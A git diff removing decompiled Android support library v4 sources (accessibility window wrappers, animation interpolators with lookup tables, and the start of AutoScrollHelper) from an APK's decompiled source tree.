android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoImpl - public Object getAnchor(Object obj) { - return AccessibilityWindowInfoCompatApi24.getAnchor(obj); - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static AccessibilityWindowInfoCompat wrapNonNullInstance(Object obj) { - if (obj != null) { - return new AccessibilityWindowInfoCompat(obj); - } - return null; - } - - private AccessibilityWindowInfoCompat(Object obj) { - this.mInfo = obj; - } - - public int getType() { - return IMPL.getType(this.mInfo); - } - - public int getLayer() { - return IMPL.getLayer(this.mInfo); - } - - public AccessibilityNodeInfoCompat getRoot() { - return AccessibilityNodeInfoCompat.wrapNonNullInstance(IMPL.getRoot(this.mInfo)); - } - - public AccessibilityWindowInfoCompat getParent() { - return wrapNonNullInstance(IMPL.getParent(this.mInfo)); - } - - public int getId() { - return IMPL.getId(this.mInfo); - } - - public void getBoundsInScreen(Rect rect) { - IMPL.getBoundsInScreen(this.mInfo, rect); - } - - public boolean isActive() { - return IMPL.isActive(this.mInfo); - } - - public boolean isFocused() { - return IMPL.isFocused(this.mInfo); - } - - public boolean isAccessibilityFocused() { - return IMPL.isAccessibilityFocused(this.mInfo); - } - - public int getChildCount() { - return IMPL.getChildCount(this.mInfo); - } - - public AccessibilityWindowInfoCompat getChild(int i) { - return wrapNonNullInstance(IMPL.getChild(this.mInfo, i)); - } - - public CharSequence getTitle() { - return IMPL.getTitle(this.mInfo); - } - - public AccessibilityNodeInfoCompat getAnchor() { - return AccessibilityNodeInfoCompat.wrapNonNullInstance(IMPL.getAnchor(this.mInfo)); - } - - public static AccessibilityWindowInfoCompat obtain() { - return wrapNonNullInstance(IMPL.obtain()); - } - - public static AccessibilityWindowInfoCompat obtain(AccessibilityWindowInfoCompat accessibilityWindowInfoCompat) { - if (accessibilityWindowInfoCompat == null) { - return null; - } - return wrapNonNullInstance(IMPL.obtain(accessibilityWindowInfoCompat.mInfo)); - } - - public void recycle() { - IMPL.recycle(this.mInfo); - } - - public int hashCode() { - Object obj = this.mInfo; - if (obj == null) { - return 0; - } - return obj.hashCode(); - } - - public boolean equals(Object obj) { - if (this == obj) { - return true; - } - if (obj != null && getClass() == obj.getClass()) { - AccessibilityWindowInfoCompat accessibilityWindowInfoCompat = (AccessibilityWindowInfoCompat) obj; - Object obj2 = this.mInfo; - if (obj2 == null) { - if (accessibilityWindowInfoCompat.mInfo != null) { - return false; - } - } else if (!obj2.equals(accessibilityWindowInfoCompat.mInfo)) { - return false; - } - return true; - } - return false; - } - - public String toString() { - StringBuilder sb = new StringBuilder("AccessibilityWindowInfo[id="); - Rect rect = new Rect(); - getBoundsInScreen(rect); - sb.append(getId()); - sb.append(", type=").append(typeToString(getType())); - sb.append(", layer=").append(getLayer()); - sb.append(", bounds=").append(rect); - sb.append(", focused=").append(isFocused()); - sb.append(", active=").append(isActive()); - sb.append(", hasParent=").append(getParent() != null); - sb.append(", hasChildren=").append(getChildCount() > 0); - sb.append(']'); - return sb.toString(); - } - - private static String typeToString(int i) { - if (i != 1) { - if (i != 2) { - if (i != 3) { - if (i == 4) { - return "TYPE_ACCESSIBILITY_OVERLAY"; - } - return ""; - } - return "TYPE_SYSTEM"; - } - return "TYPE_INPUT_METHOD"; - } - return "TYPE_APPLICATION"; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityWindowInfoCompatApi21.java b/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityWindowInfoCompatApi21.java deleted file mode 100644 index 29b2b2b..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityWindowInfoCompatApi21.java +++ /dev/null @@ -1,65 +0,0 @@ -package android.support.v4.view.accessibility; - -import android.graphics.Rect; -import android.view.accessibility.AccessibilityWindowInfo; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class AccessibilityWindowInfoCompatApi21 { - AccessibilityWindowInfoCompatApi21() { - } - - public static Object obtain() { - return AccessibilityWindowInfo.obtain(); - } - - public static Object obtain(Object obj) { - return AccessibilityWindowInfo.obtain((AccessibilityWindowInfo) obj); - } - - public static int getType(Object obj) { - return ((AccessibilityWindowInfo) obj).getType(); - } - - public static int getLayer(Object obj) { - return ((AccessibilityWindowInfo) obj).getLayer(); - } - - public static Object getRoot(Object obj) { - return ((AccessibilityWindowInfo) obj).getRoot(); - } - - public static Object getParent(Object obj) { - return ((AccessibilityWindowInfo) obj).getParent(); - } - - public static int getId(Object obj) { - return ((AccessibilityWindowInfo) obj).getId(); - } - - public static void getBoundsInScreen(Object obj, Rect rect) { - ((AccessibilityWindowInfo) obj).getBoundsInScreen(rect); - } - - public static boolean isActive(Object obj) { - return ((AccessibilityWindowInfo) obj).isActive(); - } - - public static boolean isFocused(Object obj) { - return ((AccessibilityWindowInfo) obj).isFocused(); - } - - public static boolean isAccessibilityFocused(Object obj) { - return ((AccessibilityWindowInfo) obj).isAccessibilityFocused(); - } - - public static int getChildCount(Object obj) { - return ((AccessibilityWindowInfo) obj).getChildCount(); - } - - public static Object getChild(Object obj, int i) { - return ((AccessibilityWindowInfo) obj).getChild(i); - } - - public static void recycle(Object obj) { - ((AccessibilityWindowInfo) obj).recycle(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityWindowInfoCompatApi24.java b/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityWindowInfoCompatApi24.java deleted file mode 100644 index 62bda15..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityWindowInfoCompatApi24.java +++ /dev/null @@ -1,16 +0,0 @@ -package android.support.v4.view.accessibility; - -import android.view.accessibility.AccessibilityWindowInfo; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class AccessibilityWindowInfoCompatApi24 { - AccessibilityWindowInfoCompatApi24() { - } - - public static CharSequence getTitle(Object obj) { - return ((AccessibilityWindowInfo) obj).getTitle(); - } - - public static Object getAnchor(Object obj) { - return ((AccessibilityWindowInfo) obj).getAnchor(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/animation/FastOutLinearInInterpolator.java b/apk_3230/decompiled_source/sources/android/support/v4/view/animation/FastOutLinearInInterpolator.java deleted file mode 100644 index 0c679c0..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/animation/FastOutLinearInInterpolator.java +++ /dev/null @@ -1,14 +0,0 @@ -package android.support.v4.view.animation; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class FastOutLinearInInterpolator extends LookupTableInterpolator { - private static final float[] VALUES = {0.0f, 1.0E-4f, 2.0E-4f, 5.0E-4f, 8.0E-4f, 0.0013f, 0.0018f, 0.0024f, 0.0032f, 0.004f, 0.0049f, 0.0059f, 0.0069f, 0.0081f, 0.0093f, 0.0106f, 0.012f, 0.0135f, 0.0151f, 0.0167f, 0.0184f, 0.0201f, 0.022f, 0.0239f, 0.0259f, 0.0279f, 0.03f, 0.0322f, 0.0345f, 0.0368f, 0.0391f, 0.0416f, 0.0441f, 0.0466f, 0.0492f, 0.0519f, 0.0547f, 0.0574f, 0.0603f, 0.0632f, 0.0662f, 0.0692f, 0.0722f, 0.0754f, 0.0785f, 0.0817f, 0.085f, 0.0884f, 0.0917f, 0.0952f, 0.0986f, 0.1021f, 0.1057f, 0.1093f, 0.113f, 0.1167f, 0.1205f, 0.1243f, 0.1281f, 0.132f, 0.1359f, 0.1399f, 0.1439f, 0.148f, 0.1521f, 0.1562f, 0.1604f, 0.1647f, 0.1689f, 0.1732f, 0.1776f, 0.182f, 0.1864f, 0.1909f, 0.1954f, 0.1999f, 0.2045f, 0.2091f, 0.2138f, 0.2184f, 0.2232f, 0.2279f, 0.2327f, 0.2376f, 0.2424f, 0.2473f, 0.2523f, 0.2572f, 0.2622f, 0.2673f, 0.2723f, 0.2774f, 0.2826f, 0.2877f, 0.2929f, 0.2982f, 0.3034f, 0.3087f, 0.3141f, 0.3194f, 0.3248f, 0.3302f, 0.3357f, 0.3412f, 0.3467f, 0.3522f, 0.3578f, 0.3634f, 0.369f, 0.3747f, 0.3804f, 0.3861f, 0.3918f, 0.3976f, 0.4034f, 0.4092f, 0.4151f, 0.421f, 0.4269f, 0.4329f, 0.4388f, 0.4448f, 0.4508f, 0.4569f, 0.463f, 0.4691f, 0.4752f, 0.4814f, 0.4876f, 0.4938f, 0.5f, 0.5063f, 0.5126f, 0.5189f, 0.5252f, 0.5316f, 0.538f, 0.5444f, 0.5508f, 0.5573f, 0.5638f, 0.5703f, 0.5768f, 0.5834f, 0.59f, 0.5966f, 0.6033f, 0.6099f, 0.6166f, 0.6233f, 0.6301f, 0.6369f, 0.6436f, 0.6505f, 0.6573f, 0.6642f, 0.671f, 0.678f, 0.6849f, 0.6919f, 0.6988f, 0.7059f, 0.7129f, 0.7199f, 0.727f, 0.7341f, 0.7413f, 0.7484f, 0.7556f, 0.7628f, 0.77f, 0.7773f, 0.7846f, 0.7919f, 0.7992f, 0.8066f, 0.814f, 0.8214f, 0.8288f, 0.8363f, 0.8437f, 0.8513f, 0.8588f, 0.8664f, 0.874f, 0.8816f, 0.8892f, 0.8969f, 0.9046f, 0.9124f, 0.9201f, 0.928f, 0.9358f, 0.9437f, 0.9516f, 0.9595f, 0.9675f, 0.9755f, 0.9836f, 0.9918f, 1.0f}; - - @Override // android.support.v4.view.animation.LookupTableInterpolator, android.animation.TimeInterpolator - public /* bridge */ /* synthetic */ float getInterpolation(float f) { - return super.getInterpolation(f); - } - - public FastOutLinearInInterpolator() { - super(VALUES); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/animation/FastOutSlowInInterpolator.java b/apk_3230/decompiled_source/sources/android/support/v4/view/animation/FastOutSlowInInterpolator.java deleted file mode 100644 index 5898ed4..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/animation/FastOutSlowInInterpolator.java +++ /dev/null @@ -1,14 +0,0 @@ -package android.support.v4.view.animation; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class FastOutSlowInInterpolator extends LookupTableInterpolator { - private static final float[] VALUES = {0.0f, 1.0E-4f, 2.0E-4f, 5.0E-4f, 9.0E-4f, 0.0014f, 0.002f, 0.0027f, 0.0036f, 0.0046f, 0.0058f, 0.0071f, 0.0085f, 0.0101f, 0.0118f, 0.0137f, 0.0158f, 0.018f, 0.0205f, 0.0231f, 0.0259f, 0.0289f, 0.0321f, 0.0355f, 0.0391f, 0.043f, 0.0471f, 0.0514f, 0.056f, 0.0608f, 0.066f, 0.0714f, 0.0771f, 0.083f, 0.0893f, 0.0959f, 0.1029f, 0.1101f, 0.1177f, 0.1257f, 0.1339f, 0.1426f, 0.1516f, 0.161f, 0.1707f, 0.1808f, 0.1913f, 0.2021f, 0.2133f, 0.2248f, 0.2366f, 0.2487f, 0.2611f, 0.2738f, 0.2867f, 0.2998f, 0.3131f, 0.3265f, 0.34f, 0.3536f, 0.3673f, 0.381f, 0.3946f, 0.4082f, 0.4217f, 0.4352f, 0.4485f, 0.4616f, 0.4746f, 0.4874f, 0.5f, 0.5124f, 0.5246f, 0.5365f, 0.5482f, 0.5597f, 0.571f, 0.582f, 0.5928f, 0.6033f, 0.6136f, 0.6237f, 0.6335f, 0.6431f, 0.6525f, 0.6616f, 0.6706f, 0.6793f, 0.6878f, 0.6961f, 0.7043f, 0.7122f, 0.7199f, 0.7275f, 0.7349f, 0.7421f, 0.7491f, 0.7559f, 0.7626f, 0.7692f, 0.7756f, 0.7818f, 0.7879f, 0.7938f, 0.7996f, 0.8053f, 0.8108f, 0.8162f, 0.8215f, 0.8266f, 0.8317f, 0.8366f, 0.8414f, 0.8461f, 0.8507f, 0.8551f, 0.8595f, 0.8638f, 0.8679f, 0.872f, 0.876f, 0.8798f, 0.8836f, 0.8873f, 0.8909f, 0.8945f, 0.8979f, 0.9013f, 0.9046f, 0.9078f, 0.9109f, 0.9139f, 0.9169f, 0.9198f, 0.9227f, 0.9254f, 0.9281f, 0.9307f, 0.9333f, 0.9358f, 0.9382f, 0.9406f, 0.9429f, 0.9452f, 0.9474f, 0.9495f, 0.9516f, 0.9536f, 0.9556f, 0.9575f, 0.9594f, 0.9612f, 0.9629f, 0.9646f, 0.9663f, 0.9679f, 0.9695f, 0.971f, 0.9725f, 0.9739f, 0.9753f, 0.9766f, 0.9779f, 0.9791f, 0.9803f, 0.9815f, 0.9826f, 0.9837f, 0.9848f, 0.9858f, 0.9867f, 0.9877f, 0.9885f, 0.9894f, 0.9902f, 0.991f, 0.9917f, 0.9924f, 0.9931f, 0.9937f, 0.9944f, 0.9949f, 0.9955f, 0.996f, 0.9964f, 0.9969f, 0.9973f, 0.9977f, 0.998f, 0.9984f, 0.9986f, 0.9989f, 0.9991f, 0.9993f, 0.9995f, 0.9997f, 0.9998f, 0.9999f, 0.9999f, 1.0f, 1.0f}; - - @Override // android.support.v4.view.animation.LookupTableInterpolator, android.animation.TimeInterpolator - public /* bridge */ /* synthetic */ float getInterpolation(float f) { - return super.getInterpolation(f); - } - - public FastOutSlowInInterpolator() { - super(VALUES); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/animation/LinearOutSlowInInterpolator.java b/apk_3230/decompiled_source/sources/android/support/v4/view/animation/LinearOutSlowInInterpolator.java deleted file mode 100644 index e47664d..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/animation/LinearOutSlowInInterpolator.java +++ /dev/null @@ -1,14 +0,0 @@ -package android.support.v4.view.animation; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class LinearOutSlowInInterpolator extends LookupTableInterpolator { - private static final float[] VALUES = {0.0f, 0.0222f, 0.0424f, 0.0613f, 0.0793f, 0.0966f, 0.1132f, 0.1293f, 0.1449f, 0.16f, 0.1747f, 0.189f, 0.2029f, 0.2165f, 0.2298f, 0.2428f, 0.2555f, 0.268f, 0.2802f, 0.2921f, 0.3038f, 0.3153f, 0.3266f, 0.3377f, 0.3486f, 0.3592f, 0.3697f, 0.3801f, 0.3902f, 0.4002f, 0.41f, 0.4196f, 0.4291f, 0.4385f, 0.4477f, 0.4567f, 0.4656f, 0.4744f, 0.4831f, 0.4916f, 0.5f, 0.5083f, 0.5164f, 0.5245f, 0.5324f, 0.5402f, 0.5479f, 0.5555f, 0.5629f, 0.5703f, 0.5776f, 0.5847f, 0.5918f, 0.5988f, 0.6057f, 0.6124f, 0.6191f, 0.6257f, 0.6322f, 0.6387f, 0.645f, 0.6512f, 0.6574f, 0.6635f, 0.6695f, 0.6754f, 0.6812f, 0.687f, 0.6927f, 0.6983f, 0.7038f, 0.7093f, 0.7147f, 0.72f, 0.7252f, 0.7304f, 0.7355f, 0.7406f, 0.7455f, 0.7504f, 0.7553f, 0.76f, 0.7647f, 0.7694f, 0.774f, 0.7785f, 0.7829f, 0.7873f, 0.7917f, 0.7959f, 0.8002f, 0.8043f, 0.8084f, 0.8125f, 0.8165f, 0.8204f, 0.8243f, 0.8281f, 0.8319f, 0.8356f, 0.8392f, 0.8429f, 0.8464f, 0.8499f, 0.8534f, 0.8568f, 0.8601f, 0.8634f, 0.8667f, 0.8699f, 0.8731f, 0.8762f, 0.8792f, 0.8823f, 0.8852f, 0.8882f, 0.891f, 0.8939f, 0.8967f, 0.8994f, 0.9021f, 0.9048f, 0.9074f, 0.91f, 0.9125f, 0.915f, 0.9174f, 0.9198f, 0.9222f, 0.9245f, 0.9268f, 0.929f, 0.9312f, 0.9334f, 0.9355f, 0.9376f, 0.9396f, 0.9416f, 0.9436f, 0.9455f, 0.9474f, 0.9492f, 0.951f, 0.9528f, 0.9545f, 0.9562f, 0.9579f, 0.9595f, 0.9611f, 0.9627f, 0.9642f, 0.9657f, 0.9672f, 0.9686f, 0.97f, 0.9713f, 0.9726f, 0.9739f, 0.9752f, 0.9764f, 0.9776f, 0.9787f, 0.9798f, 0.9809f, 0.982f, 0.983f, 0.984f, 0.9849f, 0.9859f, 0.9868f, 0.9876f, 0.9885f, 0.9893f, 0.99f, 0.9908f, 0.9915f, 0.9922f, 0.9928f, 0.9934f, 0.994f, 0.9946f, 0.9951f, 0.9956f, 0.9961f, 0.9966f, 0.997f, 0.9974f, 0.9977f, 0.9981f, 0.9984f, 0.9987f, 0.9989f, 0.9992f, 0.9994f, 0.9995f, 0.9997f, 0.9998f, 0.9999f, 0.9999f, 1.0f, 1.0f}; - - @Override // android.support.v4.view.animation.LookupTableInterpolator, android.animation.TimeInterpolator - public /* bridge */ /* synthetic */ float getInterpolation(float f) { - return super.getInterpolation(f); - } - - public LinearOutSlowInInterpolator() { - super(VALUES); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/animation/LookupTableInterpolator.java b/apk_3230/decompiled_source/sources/android/support/v4/view/animation/LookupTableInterpolator.java deleted file mode 100644 index 17f103d..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/animation/LookupTableInterpolator.java +++ /dev/null @@ -1,30 +0,0 @@ -package android.support.v4.view.animation; - -import android.view.animation.Interpolator; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -abstract class LookupTableInterpolator implements Interpolator { - private final float mStepSize; - private final float[] mValues; - - public LookupTableInterpolator(float[] fArr) { - this.mValues = fArr; - this.mStepSize = 1.0f / (fArr.length - 1); - } - - @Override // android.animation.TimeInterpolator - public float getInterpolation(float f) { - if (f >= 1.0f) { - return 1.0f; - } - if (f <= 0.0f) { - return 0.0f; - } - float[] fArr = this.mValues; - int min = Math.min((int) ((fArr.length - 1) * f), fArr.length - 2); - float f2 = this.mStepSize; - float f3 = (f - (min * f2)) / f2; - float[] fArr2 = this.mValues; - float f4 = fArr2[min]; - return f4 + (f3 * (fArr2[min + 1] - f4)); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/animation/PathInterpolatorCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/view/animation/PathInterpolatorCompat.java deleted file mode 100644 index 1b42c23..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/animation/PathInterpolatorCompat.java +++ /dev/null @@ -1,21 +0,0 @@ -package android.support.v4.view.animation; - -import android.graphics.Path; -import android.view.animation.Interpolator; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class PathInterpolatorCompat { - private PathInterpolatorCompat() { - } - - public static Interpolator create(Path path) { - return PathInterpolatorCompatApi21.create(path); - } - - public static Interpolator create(float f, float f2) { - return PathInterpolatorCompatApi21.create(f, f2); - } - - public static Interpolator create(float f, float f2, float f3, float f4) { - return PathInterpolatorCompatApi21.create(f, f2, f3, f4); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/animation/PathInterpolatorCompatApi21.java b/apk_3230/decompiled_source/sources/android/support/v4/view/animation/PathInterpolatorCompatApi21.java deleted file mode 100644 index df94468..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/animation/PathInterpolatorCompatApi21.java +++ /dev/null @@ -1,22 +0,0 @@ -package android.support.v4.view.animation; - -import android.graphics.Path; -import android.view.animation.Interpolator; -import android.view.animation.PathInterpolator; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class PathInterpolatorCompatApi21 { - private PathInterpolatorCompatApi21() { - } - - public static Interpolator create(Path path) { - return new PathInterpolator(path); - } - - public static Interpolator create(float f, float f2) { - return new PathInterpolator(f, f2); - } - - public static Interpolator create(float f, float f2, float f3, float f4) { - return new PathInterpolator(f, f2, f3, f4); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/animation/PathInterpolatorCompatBase.java b/apk_3230/decompiled_source/sources/android/support/v4/view/animation/PathInterpolatorCompatBase.java deleted file mode 100644 index 064dbd7..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/animation/PathInterpolatorCompatBase.java +++ /dev/null @@ -1,21 +0,0 @@ -package android.support.v4.view.animation; - -import android.graphics.Path; -import android.view.animation.Interpolator; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class PathInterpolatorCompatBase { - private PathInterpolatorCompatBase() { - } - - public static Interpolator create(Path path) { - return new PathInterpolatorGingerbread(path); - } - - public static Interpolator create(float f, float f2) { - return new PathInterpolatorGingerbread(f, f2); - } - - public static Interpolator create(float f, float f2, float f3, float f4) { - return new PathInterpolatorGingerbread(f, f2, f3, f4); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/animation/PathInterpolatorGingerbread.java b/apk_3230/decompiled_source/sources/android/support/v4/view/animation/PathInterpolatorGingerbread.java deleted file mode 100644 index 6ce06ec..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/animation/PathInterpolatorGingerbread.java +++ /dev/null @@ -1,78 +0,0 @@ -package android.support.v4.view.animation; - -import android.graphics.Path; -import android.graphics.PathMeasure; -import android.view.animation.Interpolator; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class PathInterpolatorGingerbread implements Interpolator { - private static final float PRECISION = 0.002f; - private final float[] mX; - private final float[] mY; - - public PathInterpolatorGingerbread(Path path) { - PathMeasure pathMeasure = new PathMeasure(path, false); - float length = pathMeasure.getLength(); - int i = (int) (length / PRECISION); - int i2 = i + 1; - this.mX = new float[i2]; - this.mY = new float[i2]; - float[] fArr = new float[2]; - for (int i3 = 0; i3 < i2; i3++) { - pathMeasure.getPosTan((i3 * length) / i, fArr, null); - this.mX[i3] = fArr[0]; - this.mY[i3] = fArr[1]; - } - } - - public PathInterpolatorGingerbread(float f, float f2) { - this(createQuad(f, f2)); - } - - public PathInterpolatorGingerbread(float f, float f2, float f3, float f4) { - this(createCubic(f, f2, f3, f4)); - } - - @Override // android.animation.TimeInterpolator - public float getInterpolation(float f) { - if (f <= 0.0f) { - return 0.0f; - } - if (f >= 1.0f) { - return 1.0f; - } - int length = this.mX.length - 1; - int i = 0; - while (length - i > 1) { - int i2 = (i + length) / 2; - if (f < this.mX[i2]) { - length = i2; - } else { - i = i2; - } - } - float[] fArr = this.mX; - float f2 = fArr[length]; - float f3 = fArr[i]; - float f4 = f2 - f3; - if (f4 == 0.0f) { - return this.mY[i]; - } - float[] fArr2 = this.mY; - float f5 = fArr2[i]; - return f5 + (((f - f3) / f4) * (fArr2[length] - f5)); - } - - private static Path createQuad(float f, float f2) { - Path path = new Path(); - path.moveTo(0.0f, 0.0f); - path.quadTo(f, f2, 1.0f, 1.0f); - return path; - } - - private static Path createCubic(float f, float f2, float f3, float f4) { - Path path = new Path(); - path.moveTo(0.0f, 0.0f); - path.cubicTo(f, f2, f3, f4, 1.0f, 1.0f); - return path; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/AutoScrollHelper.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/AutoScrollHelper.java deleted file mode 100644 index 1d35936..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/AutoScrollHelper.java +++ /dev/null @@ -1,436 +0,0 @@ -package android.support.v4.widget; - -import android.content.res.Resources; -import android.os.SystemClock; -import android.support.v4.view.ViewCompat; -import android.util.DisplayMetrics; -import android.view.MotionEvent; -import android.view.View; -import android.view.ViewConfiguration; -import android.view.animation.AccelerateInterpolator; -import android.view.animation.AnimationUtils; -import android.view.animation.Interpolator; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public abstract class AutoScrollHelper implements View.OnTouchListener { - private static final int DEFAULT_ACTIVATION_DELAY = ViewConfiguration.getTapTimeout(); - private static final int DEFAULT_EDGE_TYPE = 1; - private static final float DEFAULT_MAXIMUM_EDGE = Float.MAX_VALUE; - private static final int DEFAULT_MAXIMUM_VELOCITY_DIPS = 1575; - private static final int DEFAULT_MINIMUM_VELOCITY_DIPS = 315; - private static final int DEFAULT_RAMP_DOWN_DURATION = 500; - private static final int DEFAULT_RAMP_UP_DURATION = 500; - private static final float DEFAULT_RELATIVE_EDGE = 0.2f; - private static final float DEFAULT_RELATIVE_VELOCITY = 1.0f; - public static final int EDGE_TYPE_INSIDE = 0; - public static final int EDGE_TYPE_INSIDE_EXTEND = 1; - public static final int EDGE_TYPE_OUTSIDE = 2; - private static final int HORIZONTAL = 0; - public static final float NO_MAX = Float.MAX_VALUE; - public static final float NO_MIN = 0.0f; - public static final float RELATIVE_UNSPECIFIED = 0.0f; - private static final int VERTICAL = 1; - private int mActivationDelay; - private boolean mAlreadyDelayed; - boolean mAnimating; - private int mEdgeType; - private boolean mEnabled; - private boolean mExclusive; - boolean mNeedsCancel; - boolean mNeedsReset; - private Runnable mRunnable; - final View mTarget; - final ClampedScroller mScroller = new ClampedScroller(); - private final Interpolator mEdgeInterpolator = new AccelerateInterpolator(); - private float[] mRelativeEdges = {0.0f, 0.0f}; - private float[] mMaximumEdges = {Float.MAX_VALUE, Float.MAX_VALUE}; - private float[] mRelativeVelocity = {0.0f, 0.0f}; - private float[] mMinimumVelocity = {0.0f, 0.0f}; - private float[] mMaximumVelocity = {Float.MAX_VALUE, Float.MAX_VALUE}; - - static float constrain(float f, float f2, float f3) { - return f > f3 ? f3 : f < f2 ? f2 : f; - } - - static int constrain(int i, int i2, int i3) { - return i > i3 ? i3 : i < i2 ? i2 : i; - } - - public abstract boolean canTargetScrollHorizontally(int i); - - public abstract boolean canTargetScrollVertically(int i); - - public abstract void scrollTargetBy(int i, int i2); - - public AutoScrollHelper(View view) { - this.mTarget = view; - DisplayMetrics displayMetrics = Resources.getSystem().getDisplayMetrics(); - float f = (int) ((displayMetrics.density * 1575.0f) + 0.5f); - setMaximumVelocity(f, f); - float f2 = (int) ((displayMetrics.density * 315.0f) + 0.5f); - setMinimumVelocity(f2, f2); - setEdgeType(1); - setMaximumEdges(Float.MAX_VALUE, Float.MAX_VALUE); - setRelativeEdges(DEFAULT_RELATIVE_EDGE, DEFAULT_RELATIVE_EDGE); - setRelativeVelocity(DEFAULT_RELATIVE_VELOCITY, DEFAULT_RELATIVE_VELOCITY); - setActivationDelay(DEFAULT_ACTIVATION_DELAY); - setRampUpDuration(500); - setRampDownDuration(500); - } - - public AutoScrollHelper setEnabled(boolean z) { - if (this.mEnabled && !z) { - requestStop(); - } - this.mEnabled = z; - return this; - } - - public boolean isEnabled() { - return this.mEnabled; - } - - public AutoScrollHelper setExclusive(boolean z) { - this.mExclusive = z; - return this; - } - - public boolean isExclusive() { - return this.mExclusive; - } - - public AutoScrollHelper setMaximumVelocity(float f, float f2) { - float[] fArr = this.mMaximumVelocity; - fArr[0] = f / 1000.0f; - fArr[1] = f2 / 1000.0f; - return this; - } - - public AutoScrollHelper setMinimumVelocity(float f, float f2) { - float[] fArr = this.mMinimumVelocity; - fArr[0] = f / 1000.0f; - fArr[1] = f2 / 1000.0f; - return this; - } - - public AutoScrollHelper setRelativeVelocity(float f, float f2) { - float[] fArr = this.mRelativeVelocity; - fArr[0] = f / 1000.0f; - fArr[1] = f2 / 1000.0f; - return this; - } - - public AutoScrollHelper setEdgeType(int i) { - this.mEdgeType = i; - return this; - } - - public AutoScrollHelper setRelativeEdges(float f, float f2) { - float[] fArr = this.mRelativeEdges; - fArr[0] = f; - fArr[1] = f2; - return this; - } - - public AutoScrollHelper setMaximumEdges(float f, float f2) { - float[] fArr = this.mMaximumEdges; - fArr[0] = f; - fArr[1] = f2; - return this; - } - - public AutoScrollHelper setActivationDelay(int i) { - this.mActivationDelay = i; - return this; - } - - public AutoScrollHelper setRampUpDuration(int i) { - this.mScroller.setRampUpDuration(i); - return this; - } - - public AutoScrollHelper setRampDownDuration(int i) { - this.mScroller.setRampDownDuration(i); - return this; - } - - /* JADX WARN: Code restructure failed: missing block: B:11:0x0013, code lost: - if (r0 != 3) goto L12; - */ - @Override // android.view.View.OnTouchListener - /* - Code decompiled incorrectly, please refer to instructions dump. - To view partially-correct add '--show-bad-code' argument - */ - public boolean onTouch(android.view.View r6, android.view.MotionEvent r7) { - /* - r5 = this; - boolean r0 = r5.mEnabled - r1 = 0 - if (r0 != 0) goto L6 - return r1 - L6: - int r0 = android.support.v4.view.MotionEventCompat.getActionMasked(r7) - r2 = 1 - if (r0 == 0) goto L1a - if (r0 == r2) goto L16 - r3 = 2 - if (r0 == r3) goto L1e - r6 = 3 - if (r0 == r6) goto L16 - goto L58 - L16: - r5.requestStop() - goto L58 - L1a: - r5.mNeedsCancel = r2 - r5.mAlreadyDelayed = r1 - L1e: - float r0 = r7.getX() - int r3 = r6.getWidth() - float r3 = (float) r3 - android.view.View r4 = r5.mTarget - int r4 = r4.getWidth() - float r4 = (float) r4 - float r0 = r5.computeTargetVelocity(r1, r0, r3, r4) - float r7 = r7.getY() - int r6 = r6.getHeight() - float r6 = (float) r6 - android.view.View r3 = r5.mTarget - int r3 = r3.getHeight() - float r3 = (float) r3 - float r6 = r5.computeTargetVelocity(r2, r7, r6, r3) - android.support.v4.widget.AutoScrollHelper$ClampedScroller r7 = r5.mScroller - r7.setTargetVelocity(r0, r6) - boolean r6 = r5.mAnimating - if (r6 != 0) goto L58 - boolean r6 = r5.shouldAnimate() - if (r6 == 0) goto L58 - r5.startAnimating() - L58: - boolean r6 = r5.mExclusive - if (r6 == 0) goto L61 - boolean r6 = r5.mAnimating - if (r6 == 0) goto L61 - r1 = r2 - L61: - return r1 - */ - throw new UnsupportedOperationException("Method not decompiled: android.support.v4.widget.AutoScrollHelper.onTouch(android.view.View, android.view.MotionEvent):boolean"); - } - - boolean shouldAnimate() { - ClampedScroller clampedScroller = this.mScroller; - int verticalDirection = clampedScroller.getVerticalDirection(); - int horizontalDirection = clampedScroller.getHorizontalDirection(); - return (verticalDirection != 0 && canTargetScrollVertically(verticalDirection)) || (horizontalDirection != 0 && canTargetScrollHorizontally(horizontalDirection)); - } - - private void startAnimating() { - int i; - if (this.mRunnable == null) { - this.mRunnable = new ScrollAnimationRunnable(); - } - this.mAnimating = true; - 